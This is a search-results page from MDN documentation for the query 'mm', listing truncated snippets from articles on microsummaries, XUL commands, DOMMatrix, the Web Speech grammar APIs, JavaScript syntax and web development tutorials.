Search completed in 1.09 seconds.
9837 results for "mm":
Your results are loading. Please wait...
Microsummary XML grammar reference - Archive of obsolete content
a microsummary generator is an xml document that describes how to pull specific information from a web page to be presented in summary form as a bookmark whose title changes based on the content of the page it targets.
... warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) this article provides detailed information about the xml grammar used to build microsummary generators, describing each element and their attributes.
... for an introduction to how to create a microsummary, read the article creating a microsummary.
...And 27 more matches
<command>: The HTML Command element - HTML: Hypertext Markup Language
WebHTMLElementcommand
the html command element (<command>) represents a command which the user can invoke.
... commands are often used as part of a context menu or toolbar.
... the <command> element is included in the w3c specification, but not in the whatwg specification, and browser support is nonexistent.
...And 12 more matches
<summary>: The Disclosure Summary element - HTML: Hypertext Markup Language
WebHTMLElementsummary
the html disclosure summary element (<summary>) element specifies a summary, caption, or legend for a <details> element's disclosure box.
... clicking the <summary> element toggles the state of the parent <details> element open and closed.
... usage notes the <summary> element's contents can be any heading content, plain text, or html that can be used within a paragraph.
...And 10 more matches
SpeechGrammar.SpeechGrammar() - Web APIs
the speechgrammar constructor of the speechgrammar interface creates a new speechgrammar object instance.
... syntax var myspeechgrammar = new speechgrammar(); parameters none.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var newgrammar = new speechgrammar(); newgrammar.src = '#jsgf v1.0; grammar names; public <name> = chris | kirsty | mike;' speechrecog...
...nitionlist[1] = newgrammar; // should add the new speechgrammar object to the list specifications specification status comment web speech apithe definition of 'speechgrammar()' in that specification.
SpeechGrammarList.SpeechGrammarList() - Web APIs
the speechgrammarlist() constructor creates a new speechgrammarlist object instance.
... syntax var mygrammarlist = new speechgrammarlist(); parameters none.
... examples in our simple speech color changer example, we create a new speechrecognition object instance using the speechrecognition() constructor, create a new speechgrammarlist, add our grammar string to it using the speechgrammarlist.addfromstring method, and set it to be the grammar that will be recognised by the speechrecognition instance using the speechrecognition.grammars property.
... var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications specification status comment web speech apithe definition of 'speechgrammarlist' in that specification.
MMgc - Archive of obsolete content
mmgc is the tamarin (née macromedia) garbage collector, a memory management library that has been built as part of the avm2/tamarin effort.
...using mmgc managed vs.
... unmanaged memory mmgc is not only a garbage collector, but a general-purpose memory manager.
...And 71 more matches
Command line crash course - Learn web development
previous overview: understanding client-side tools next in your development process you'll undoubtedly be required to run some command in the terminal (or on the "command line" — these are effectively the same thing).
... this article provides an introduction to the terminal, the essential commands you'll need to enter into it, how to chain commands together, and how to add your own command line interface (cli) tools.
... objective: to understand what the terminal/command line is, what basic commands you should learn, and how to install new command line tools.
...And 69 more matches
Commands - Archive of obsolete content
« previousnext » a command is an operation which may be invoked.
... command elements the command element is used to create commands which can be used to carry out operations.
... you don't need to use commands, since you can just call a script to handle things.
...And 64 more matches
nsIMicrosummaryService
toolkit/components/places/public/nsimicrosummaryservice.idlscriptable this interface provides methods for managing installed microsummaries, and the bookmarks they apply to.
... 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) implemented by: @mozilla.org/microsummary/service;1 as a service: var microsummaryservice = components.classes["@mozilla.org/microsummary/service;1"] .getservice(components.interfaces.nsimicrosummaryservice); method overview void addgenerator(in nsiuri generatoruri); nsimicrosummary createmicrosummary(in nsiuri pageuri, in nsiuri generatoruri); nsisimpleenumerator getbookmarks(); nsimicrosummarygenerator getgenerator(in nsiuri generatoruri); nsimicrosummaryset getm...
...icrosummaries(in nsiuri pageuri, in long long bookmarkid); nsimicrosummary getmicrosummary(in long long bookmarkid); boolean hasmicrosummary(in long long bookmarkid); nsimicrosummarygenerator installgenerator(in nsidomdocument xmldefinition); boolean ismicrosummary(in long long bookmarkid, in nsimicrosummary microsummary); nsimicrosummary refreshmicrosummary(in long long bookmarkid); void removemicrosummary(in long long bookmarkid); void setmicrosummary(in long long bookmarkid, in nsimicrosummary microsummary); methods addgenerator() install the microsummary generator from the resource at the supplied uri.
...And 40 more matches
Updating Commands - Archive of obsolete content
« previousnext » in this section, we will look at how to update commands.
... invoking commands if a command has an oncommand attribute, you can invoke it just by using the docommand method of the command or an element which links to it.
... for other commands, you will need to use a couple of additional lines of code.
...And 37 more matches
DOMMatrixReadOnly - Web APIs
the dommatrixreadonly interface represents a read-only 4×4 matrix, suitable for 2d and 3d operations.
... the dommatrix interrface—which is based upon dommatrixreadonly—adds mutability, allowing you to alter the matrix after creating it.
... dommatrixreadonly.flipx() returns a new dommatrix created by flipping the source matrix around its x-axis.
...And 27 more matches
Commenting IDL for better documentation
the documentation team has tools that convert comments from the doxygen format into the standard reference article format we use here on mdn, with certain limitations.
... this article will help you understand how you can format your comments to help ensure that the conversion process can be automated as much as possible in order to ensure that your interface gets properly documented.
... happily, following these recommendations will also help ensure your comments are extremely human-readable, too.
...And 26 more matches
Creating a Microsummary - Archive of obsolete content
warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) a microsummary generator is a set of instructions for creating a microsummary from the content of a page.
... web pages can reference generators via <link rel="microsummary"> elements in their <head> elements.
... in this tutorial we're going to create a microsummary generator for the spread firefox home page that displays the current firefox download count along with the label fx downloads; for example: 174475447 fx downloads.
...And 25 more matches
Command line options
command line options are used to specify various startup options for mozilla applications.
... for example, if you have multiple profiles you can use command line configuration options to bypass the profile manager and open a specific profile.
...this page describes the commonly used options and how to use them.
...And 24 more matches
DOMMatrix - Web APIs
WebAPIDOMMatrix
the dommatrix interface represents 4×4 matrices, suitable for 2d and 3d operations including rotation and translation.
... it is a mutable version of the dommatrixreadonly interface.
... constructor dommatrix() creates and returns a new dommatrix object.
...And 23 more matches
Lexical grammar - JavaScript
this page describes javascript's lexical grammar.
... the source text of ecmascript scripts gets scanned from left to right and is converted into a sequence of input elements which are tokens, control characters, line terminators, comments or white space.
... \n u+000d carriage return <cr> new line character in commodore and early mac systems.
...And 21 more matches
nsICommandLine
toolkit/components/commandlines/public/nsicommandline.idlscriptable represents the command line used to invoke a xul application.
... this may be the original command line of this instance or a command line provided remotely by another instance of the application.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) components may implement the nsicommandlinehandler interface to add custom command line handling behavior.
...And 19 more matches
Adding Events and Commands - Archive of obsolete content
the most commonly used event is the onload event, which is used in overlays and other windows to detect when the window has loaded and then run initialization code: // rest of overlay code goes here.
... please read appendix a for recommendations on how to use the load event to initialize your add-on without having a negative performance impact on firefox.
...these are some notable events you should keep in mind: oncommand.
...And 18 more matches
Handling common accessibility problems - Learn web development
previous overview: cross browser testing next next we turn our attention to accessibility, providing information on common problems, how to do simple testing, and how to make use of auditing/automation tools for finding accessibility issues.
... objective: to be able to diagnose common accessibility problems, and use appropriate tools and techniques to fix them.
... when we say accessibility in the context of web technology, most people immediately think of making sure websites/apps are usable by people with disabilities, for example: visually impaired people using screen readers or magnification/zoom to access text people with motor function impairments using the keyboard (or other non-mouse features) to activate website functionality.
...And 18 more matches
Handling common JavaScript problems - Learn web development
previous overview: cross browser testing next now we'll look at common cross-browser javascript problems and how to fix them.
... objective: to be able to diagnose common javascript cross-browser problems, and use appropriate tools and techniques to fix them.
...there are a number of common javascript problems that you will want to be mindful of, such as: basic syntax and logic problems (again, check out troubleshooting javascript).
...And 17 more matches
Grammar and types - JavaScript
« previousnext » this chapter discusses javascript's basic grammar, variable declarations, data types and literals.
...(for more information, see the detailed reference about javascript's lexical grammar.) it is considered best practice, however, to always write a semicolon after a statement, even when it is not strictly needed.
... the source text of javascript script gets scanned from left to right, and is converted into a sequence of input elements which are tokens, control characters, line terminators, comments, or whitespace.
...And 15 more matches
nsIMicrosummary
toolkit/components/places/public/nsimicrosummaryservice.idlscriptable this interface defines attributes and methods for dealing with microsummaries generated by an nsimicrosummarygenerator.
... 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void addobserver(in nsimicrosummaryobserver observer); boolean equals(in nsimicrosummary aother); void removeobserver(in nsimicrosummaryobserver observer); void update(); attributes attribute type description content astring the content of the microsummary.
... generator nsimicrosummarygenerator the generator that generates this microsummary.
...And 14 more matches
Microsummary topics - Archive of obsolete content
warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) programmatically installing a microsummary generator to programmatically install a microsummary generator -- for example, in an extension that helps users create custom generators for their favorite sites -- obtain a reference to the nsimicrosummaryservice interface implemented by the nsimicrosummaryservice component, then call its installgenerator() method, passing it an xml document containing the generator.
... for example, the following code snippet installs the microsummary generator from the creating a microsummary tutorial: var generatortext = ' \ <?xml version="1.0" encoding="utf-8"?> \ <generator xmlns="http://www.mozilla.org/microsummaries/0.1" \ name="firefox download count" \ uri="urn:{835daeb3-6760-47fa-8f4f-8e4fdea1fb16}"> \ <template> \ <transform xmlns="http://www.w3.org/1999/xsl/transform" version="1.0"> \ <output method="text"/> \ <template match="/"> \ <value-of select="id(\'download-count\')"/> \ <text> fx downloads</text> \ </template> \ </transform> \ </template> \ <pages> <include>http://(www\.)?spreadfirefox\.com/(index\.php)?</include> </pages> </generator> \ '; var ...
... createinstance(components.interfaces.nsidomparser); var generatordoc = domparser.parsefromstring(generatortext, "text/xml"); var microsummaryservice = components.classes["@mozilla.org/microsummary/service;1"].
...And 13 more matches
command - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a command element can be used to invoke an operation that can come from multiple sources.
...you attach the code to the command using the oncommand attribute.
...in addition, disabling the command will automatically disable the menu items and keyboard shortcuts.
...And 13 more matches
Handling common HTML and CSS problems - Learn web development
previous overview: cross browser testing next with the scene set, we'll now look specifically at the common cross-browser problems you will come across in html and css code, and what tools can be used to prevent problems from happening, or fix problems that occur.
... objective: to be able to diagnose common html and css cross browser problems, and use appropriate tools and techniques to fix them.
...responsive design problems are also common — a site that looks good in a desktop browser might provide a terrible experience on a mobile device, because the content is too small to read, or perhaps the site is slow because of expensive animations.
...And 13 more matches
nsIMicrosummaryGenerator
toolkit/components/places/public/nsimicrosummaryservice.idlscriptable this interface provides access to a microsummary that has been installed in firefox.
... 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview long calculateupdateinterval(in nsidomnode apagecontent); boolean equals(in nsimicrosummarygenerator aother); astring generatemicrosummary(in nsidomnode apagecontent); attributes attribute type description loaded boolean has the generator itself (which may be a remote resource) been loaded.
... name autf8string an arbitrary descriptive name for this microsummary generator.
...And 11 more matches
Document.execCommand() - Web APIs
when an html document has been switched to designmode, its document object exposes an execcommand method to run commands that manipulate the current editable region, such as form inputs or contenteditable elements.
... most commands affect the document's selection (bold, italics, etc.), while others insert new elements (adding a link), or affect an entire line (indenting).
... when using contenteditable, execcommand() affects the currently active editable element.
...And 10 more matches
Trailing commas - JavaScript
trailing commas (sometimes called "final commas") can be useful when adding new elements, parameters, or properties to javascript code.
... if you want to add a new property, you can simply add a new line without modifying the previously last line if that line already uses a trailing comma.
... javascript has allowed trailing commas in array literals since the beginning, and later added them to object literals (ecmascript 5) and most recently (ecmascript 2017) to function parameters.
...And 10 more matches
Creating regular expressions for a microsummary generator - Archive of obsolete content
warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) a regular expression is a special kind of string (i.e.
...microsummary generators use them to identify the pages that the generators know how to summarize by matching patterns in those pages' urls.
...to learn how to create a microsummary generator, see creating a microsummary.
...And 9 more matches
commandset - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] this element is not displayed and serves as a container for command elements.
... in addition, this element can hold a command updater which is used to update commands when certain events occur.
... a common use of the command updater is to update cut, copy, and paste menu items.
...And 9 more matches
Using cross commit - Archive of obsolete content
cross-commit is a script that allows a single patch to be easily checked in on multiple branches.
... getting the script "make -f client.mk pull_all" from a working copy of the trunk now pulls cross-commit, and that'll work on the 1.8 branch soon, too, so you might already have the script.
... if you don't, however, then from the parent directory of your source dir, do: cvs co mozilla/tools/cross-commit note that you will need to have $cvsroot and such set up correctly for this to work.
...And 8 more matches
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
one of the quirks of slashdot is that it includes a comments count, a humorous department, a hit parade, and a section with every blog post.
...02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>review of sin city</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/114</guid> <pubdate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate></pubdate> <link>http://www.example.com/blog/2005/05/15/114</link> <slash:comments>43</slash:comments> </item> <item> <title>what is the 3571st prime number</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/113</guid> <pubdate>sun, 15 may 2005 10:55:12 -0500</lastbuilddate></pubdate> <link>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/113</link> <slash:comments>72...
...</slash:comments> </item> <item> <title>first article!</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/112</guid> <pubdate>sun, 15 may 2005 08:14:11 -0500</lastbuilddate></pubdate> <link>http://www.example.com/blog/2005/05/15/112</link> <slash:comments>118</slash:comments> </item> </channel> </rss> the <slash:comments> element is it reason that the rss slash module is popular.
...And 8 more matches
The "codecs" parameter in common media types - Web media technologies
as noted elsewhere, this format was once commonly used on the web but no longer is, since it required a plugin to use.
...you can specify multiple codecs by separating them with commas.
...this value defines the function used to map the gamma (delightfully called the "opto-electrical transfer function" in technical parlance) from the source to the display.
...And 8 more matches
Providing Command-Line Options - Archive of obsolete content
extensions and xul applications can modify the way command line parameters are handled by writing a component that implements the nsicommandlinehandler interface and registering it in a category.
... see also: xulrunner:commandline overview the code below is an example of writing a javascript xpcom component to handle command line parameters.
... you can learn more about how the command line is interpreted by looking at the documentation for the nsicommandline interface.
...And 7 more matches
CommandLine - Archive of obsolete content
handling command line arguments with xulrunner for multiple instances application it's fairly easy to retrieve application specific command line arguments in xulrunner when it's not a single instance application.
... an nsicommandline object is passed as the first argument of the launched window: example var cmdline = window.arguments[0]; cmdline = cmdline.queryinterface(components.interfaces.nsicommandline); alert(cmdline.handleflagwithparam("test", false)); see also: chrome: command line for single instance applications of course, for a single instance application (see toolkit.singletonwindowtype for more information), the last example still applies the first time your application is launched.
... however, if you'd like to retrieve the latest command line arguments (to open a file for example), a possible solution is to create your own command line handler.
...And 7 more matches
General asynchronous programming concepts - Learn web development
overview: asynchronous next in this article, we'll run through a number of important concepts relating to asynchronous programming, and how this looks in web browsers and javascript.
... objective: to understand the basic concepts behind asynchronous programming, and how they manifest in web browsers and javascript.
...this lets you get other work done in the meantime, which is the basis of asynchronous programming.
...And 7 more matches
SpeechGrammarList - Web APIs
the speechgrammarlist interface of the web speech api represents a list of speechgrammar objects containing words or patterns of words that we want the recognition service to recognize.
... grammar is defined using jspeech grammar format (jsgf.) other formats may also be supported in the future.
... constructor speechgrammarlist.speechgrammarlist() creates a new speechgrammarlist object.
...And 7 more matches
Communicating With Other Scripts - Archive of obsolete content
this section of the guide explains how content scripts can communicate with: your main.js file, or any other modules in your add-on other content scripts loaded by your add-on page scripts (that is, scripts embedded in the web page or included using <script> tags) main.js your content scripts can communicate with your add-on's "main.js" (or any other modules you're written for your add-on) by sending it messages, using either the port.emit() api or the postmessage() api.
...any two content scripts can communicate by using the main add-on script to manually relay messages between the content scripts.
...but, they can each communicate with the main add-on script which could be written to relay messages between them.
...And 6 more matches
Solve common problems in your JavaScript code - Learn web development
the following links point to solutions to common problems you may encounter when writing javascript.
... common beginner's mistakes correct spelling and casing if your code doesn't work and/or the browser complains that something is undefined, check that you've spelt all your variable names, function names, etc.
... some common built-in browser functions that cause problems are: correct wrong getelementsbytagname() getelementbytagname() getelementsbyname() getelementbyname() getelementsbyclassname() getelementbyclassname() getelementbyid() getelementsbyid() semi-colon position you need to make sure you don't place any semi-colons incorrectly.
...And 6 more matches
DownloadSummary
a reference to a downloadsummary object can be obtained using the downloads.getsummary() function.
...views on the summarized data can be registered before this object is bound to an actual list.
... this allows the summary to be used without requiring the initialization of the downloadlist first.
...And 6 more matches
nsIMicrosummaryObserver
toolkit/components/places/public/nsimicrosummaryservice.idlscriptable this interface provides methods for observing changes to micrummaries.
... 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void oncontentloaded(in nsimicrosummary microsummary); void onelementappended(in nsimicrosummary microsummary); void onerror(in nsimicrosummary microsummary); methods oncontentloaded() called when an observed microsummary updates its content.
... since an observer might watch multiple microsummaries at the same time, the microsummary whose content has been updated gets passed to this handler.
...And 6 more matches
nsIMicrosummarySet
toolkit/components/places/public/nsimicrosummaryservice.idlscriptable this interface provides access to sets of microsummaries returned from the nsimicrosummaryservice.
... 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method overview void addobserver(in nsimicrosummaryobserver observer); nsisimpleenumerator enumerate(); void removeobserver(in nsimicrosummaryobserver observer); methods addobserver() add a microsummary observer to this microsummary set.
... adding an observer to a set is the equivalent of adding it to each constituent microsummary.
...And 6 more matches
Comment - Web APIs
WebAPIComment
the comment interface represents textual notations within markup; although it is generally not visually shown, such comments are available to be read in the source view.
... comments are represented in html and xml as content between '<!--' and '-->'.
... in xml, the character sequence '--' cannot be used within a comment.
...And 6 more matches
SpeechGrammarList.addFromURI() - Web APIs
the addfromuri() method of the speechgrammarlist interface takes a grammar present at a specific uri and adds it to the speechgrammarlist as a new speechgrammar object.
... note that some speech recognition services may support built-in grammars that can be specified by uri.
... syntax speechgrammarlistinstance.addfromuri(src,weight); returns void.
...And 6 more matches
Comments - CSS: Cascading Style Sheets
WebCSSComments
a css comment is used to add explanatory notes to the code or to prevent the browser from interpreting specific parts of the style sheet.
... by design, comments have no effect on the layout of a document.
... syntax comments can be placed wherever white space is allowed within a style sheet.
...And 6 more matches
Comma operator (,) - JavaScript
the comma operator (,) evaluates each of its operands (from left to right) and returns the value of the last operand.
...this is commonly used to provide multiple parameters to a for loop.
... usage notes you can use the comma operator when you want to include multiple expressions in a location that requires a single expression.
...And 6 more matches
Tamarin mercurial commit hook - Archive of obsolete content
it is highly recommended that all developers enable the mercurial commit hook for tamarin.
... the hook is located in the tamarin-redux repository in the file utils/hooks/tamarin-commit-hook.py this is a simple mercurial hook that checks the following filetypes ('.cpp', '.h', '.as', '.abs', '.py') for the following: tabs anywhere in the line trailing whitespace windows line endings (\r\n) "mark_security_change" - looks for this text and warns user as security changes should not be checked into the public tamarin-redux repository.
... installing the commit hook the easiest way to implement the hook is to sync to the tip of tamarin-redux then add the following to your tamarin-redux/.hg/hgrc file (or to ~/.hgrc to implement for all local repos): [hooks] pretxncommit.commit = python:/path/to/tamarin-redux/utils/hooks/tamarin-commit-hook.py:master_hook once added, all commits will run the commit hook.
...And 5 more matches
Server-side website programming first steps - Learn web development
in this module we answer a few fundamental questions about server-side programming — "what is it?", "how does it differ from client-side programming?", and "why is it so useful?".
... prerequisites before starting this module, you don't need to have any knowledge of server-side website programming, or indeed any other type of programming.
...we recommend that you first read the following topics: what is a web server?
...And 5 more matches
Recommended Drag Types - Web APIs
the document describes best practices for common draggable data types.
... it is recommended to always add data of the text/plain type as a fallback for applications or drop targets that do not support other types, unless there is no logical text alternative.
...lines that begin with a number sign (#) are comments, and should not be considered urls.
...And 5 more matches
SpeechGrammarList.addFromString() - Web APIs
the addfromstring() method of the speechgrammarlist interface takes a grammar present in a specific domstring within the code base (e.g.
... stored in a variable) and adds it to the speechgrammarlist as a new speechgrammar object.
... syntax speechgrammarlistinstance.addfromstring(string,weight); returns void.
...And 5 more matches
command - Archive of obsolete content
ArchiveMozillaXULEventscommand
the command event is executed when an element is activated.
...command elements can be activated by any of their observing elements being activated.
... the command event should always be used instead of the click event because it will be called in all of the needed cases.
...And 4 more matches
Why Well-Formed Web RSS Module is Popular - Syndicating Your Comments - Archive of obsolete content
there aren't many blogs out there that don't allow commenting of blog posts.
...sure rss has the <comments> element, but it points to a html page that isn't machine readable.
... it is desirable to be able to deal with comments in the same way one deals with rss feeds; through syndication.
...And 4 more matches
Server-side website programming - Learn web development
the dynamic websites – server-side programming topic is a series of modules that show how to create dynamic websites; websites that deliver customised information in response to http requests.
... the modules provide a general introduction to server-side programming.
... in the modern world of web development, learning about server-side development is highly recommended.
...And 4 more matches
nsICommandController
content/xul/document/public/nsicontroller.idlscriptable an enhanced controller interface that supports passing parameters to commands.
... inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/embedcomp/base-command-controller;1.
... to create an instance, use: var commandcontroller = components.classes["@mozilla.org/embedcomp/base-command-controller;1"] .createinstance(components.interfaces.nsicommandcontroller); method overview void docommandwithparams(in string command, in nsicommandparams acommandparams); void getcommandstatewithparams( in string command, in nsicommandparams acommandparams); methods docommandwithparams() executes the specified command with a set of parameters contained in an nsicommandparams object.
...And 4 more matches
nsICommandLineHandler
toolkit/components/commandlines/public/nsicommandlinehandler.idlscriptable handles arguments on the command line of a xul application.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) each command line handler is registered in the category "command-line-handler".
...example: category entry value command-line-handler b-jsdebug @mozilla.org/venkman/clh;1 command-line-handler c-extensions @mozilla.org/extension-manager/clh;1 command-line-handler m-edit @mozilla.org/composer/clh;1 command-line-handler m-irc @mozilla.org/chatzilla/clh;1 command-line-handler y-final @mozilla.org/browser/clh-final;1 method overview void handle(in nsicommandline acommandlin...
...And 4 more matches
nsICommandLineRunner
the nsicommandlinerunner is an extension of nsicommandline used to initialize command lines and run them by processing the comand line handlers.
... toolkit/components/commandlines/public/nsicommandlinerunner.idlscriptable please add a summary to this article.
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsicommandline method overview void init(in long argc, in nscharptrarray argv, in nsifile workingdir, in unsigned long state); void run(); void setwindowcontext(in nsidomwindow awindow); attributes attribute type description helptext autf8string process and combine the help text provided by each command-line handler.
...And 4 more matches
DOMMatrixReadOnly.scale() - Web APIs
the scale() method of the dommatrixreadonly interface creates a new matrix being the result of the original matrix with a scale transform applied.
... dommatrix.scale(scalex[, scaley][, scalez][, originx][, originy][, originz]) parameters scalex a multiplier for the scale value on the x-axis.
... return value returns a dommatrix containing a new matrix being the result of the matrix x and y dimensions being scaled by the given factor, centered on the origin given.
...And 4 more matches
IDBTransaction.commit() - Web APIs
the commit() method of the idbtransaction interface commits the transaction if it is called on an active transaction.
... note that commit() doesn't normally have to be called — a transaction will automatically commit when all outstanding requests have been satisfied and no new requests have been made.
... commit() can be used to start the commit process without waiting for events from outstanding requests to be dispatched.
...And 4 more matches
SpeechGrammar - Web APIs
the speechgrammar interface of the web speech api represents a set of words or patterns of words that we want the recognition service to recognize.
... grammar is defined using jspeech grammar format (jsgf.) other formats may also be supported in the future.
... constructor speechgrammar.speechgrammar() creates a new speechgrammar object.
...And 4 more matches
SpeechRecognitionEvent.emma - Web APIs
the emma read-only property of the speechrecognitionevent interface returns an extensible multimodal annotation markup language (emma) — xml — representation of the result.
... note: emma is defined in the specification emma: extensible multimodal annotation markup language.
... you can see muliple emma examples in the spec.
...And 4 more matches
Window.setImmediate() - Web APIs
this method is used to break up long running operations and run a callback function immediately after the browser has completed other operations such as events and display updates.
... syntax var immediateid = setimmediate(func, [param1, param2, ...]); var immediateid = setimmediate(func); where immediateid is the id of the immediate which can be used later with window.clearimmediate.
... notes the clearimmediate method can be used to clear the immediate actions, just like cleartimeout for settimeout.
...And 4 more matches
ARIA: Comment role - Accessibility
the comment landmark role semantically denotes a comment/reaction to some content on the page, or to a previous comment.
... examples in the following example we have a document section that has been commented.
... the commented section is marked up using <span role="mark">.
...And 4 more matches
Useful Mozilla Community Sites - Archive of obsolete content
« previous the mozilla community is very rich and active.
... babelzilla babelzilla is a worldwide community of localizers.
...the community is very active, and you can be sure to get translations for the most commonly used languages within a few days of submitting your extension.
...And 3 more matches
Common causes of memory leaks in extensions - Extensions
storing references to window objects and dom nodes the most common problem is extensions holding onto references to content windows for too long.
... // this kind of subtle bug is very common.
... causes of other kinds of leaks other than javascript compartments, add-ons may also leak entities that do not get a dedicated compartment, most commonly chrome dom windows and javascript code modules.
...And 3 more matches
Common questions - Learn web development
this section of the learning area is designed to provide answers to common questions that may come up, which are not necessarily part of the structured core learning pathways (e.g.
...at its most basic, the internet is a massive network of computers communicating with each other.
... this article shows how to publish your site online with ftp tools — one of the most common ways to get a website online so others can access it from their computers.
...And 3 more matches
Document.queryCommandEnabled() - Web APIs
the document.querycommandenabled() method reports whether or not the specified editor command is enabled by the browser.
... syntax isenabled = document.querycommandenabled(command); parameters command the command for which to determine support.
... return value returns a boolean which is true if the command is enabled and false if the command isn't.
...And 3 more matches
Range.commonAncestorContainer - Web APIs
the range.commonancestorcontainer read-only property returns the deepest — or furthest down the document tree — node that contains both boundary points of the range.
... this means that if range.startcontainer and range.endcontainer both refer to the same node, this node is the common ancestor container.
... syntax rangeancestor = range.commonancestorcontainer; example in this example, we create an event listener to handle pointerup events on a list.
...And 3 more matches
<mmultiscripts> - MathML
the mathml <mmultiscripts> element allows you to create tensor-like objects.
... mathml uses a special syntax to describe subscripts and superscripts for both, postscripts and prescripts, attached to a base expression: <mmultiscripts> base (subscript superscript)* [ <mprescripts/> (presubscript presuperscript)* ] </mmultiscripts> after the base expression you can specify a postsubscript and a postsuperscript.
... examples using <mprescripts/> sample rendering: rendering in your browser: x d c b a <math> <mmultiscripts> <mi>x</mi> <!-- base expression --> <mi>d</mi> <!-- postsubscript --> <mi>c</mi> <!-- postsuperscript --> <mprescripts /> <mi>b</mi> <!-- presubscript --> <mi>a</mi> <!-- presuperscript --> </mmultiscripts> </math> using <none/> sample rendering: rendering in your browser: x c b <math> ...
...And 3 more matches
List of commands - Archive of obsolete content
the following lists commands which might be usable by <command> or command dispatchers/controllers.
... list of commands (grouped by type) nsdomwindowcontroller commands (generally legal when there is a selection): cmd_copy - copy a selection to the clipboard cmd_cut - cut a selection into the clipboard cmd_paste - paste a selection from the clipboard cmd_selectall cmd_selectnone cmd_copylink cmd_copyimagelocation cmd_copyimagecontents cmd_scrolltop cmd_scrollbottom cmd_scrollpageup cmd_scrollpagedown cmd_scrolllineup cmd_scrolllinedown cmd_scrollleft cmd_scrollright cmd_selectcharprevious cmd_selectcharnext cmd_wordprevious cmd_wordnext cmd_selectwordprevious cmd_selectwordnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_selectlineprevious cmd_selectlinenext cmd_selectpageprevious cmd_selectpagenext cmd_selectmovetop cmd_selectmoveb...
...ottom editor commands (legal when the focus is anywhere where you can type text): cmd_paste - paste a selection from the clipboard cmd_pastequote cmd_delete cmd_deletecharbackward cmd_deletecharforward cmd_deletewordbackward cmd_deletewordforward cmd_deletetobeginningofline cmd_deletetoendofline cmd_scrolltop cmd_scrollbottom cmd_movetop cmd_movebottom cmd_selecttop cmd_selectbottom cmd_linenext cmd_lineprevious cmd_selectlinenext cmd_selectlineprevious cmd_charprevious cmd_charnext cmd_selectcharprevious cmd_selectcharnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_wordprevious cmd_wordnext cmd_selectwordprevious cmd_selectwordnext cmd_scrollpageup cmd_scrollpagedown cmd_scrolllineup cmd_scrolllinedown cmd_movepageup cmd_move...
...And 2 more matches
Common Firefox theme issues and solutions - Archive of obsolete content
the purpose of this page is to provide provide theme developers with notes on how to fix common issues.
... it is a companion document to the amo editors guide common theme problems, which provides editors with "boilerplate" copy and paste review notes for common theme issues.
... the problem is commonly caused by a -moz-appearance:menulist style rule in chrome://global/skin/menulist.css.
...And 2 more matches
Typesetting a community school homepage - Learn web development
previous overview: styling text in this assessment we'll test your understanding of all the text styling techniques we've covered throughout this module by getting you to style the text for a community school's homepage.
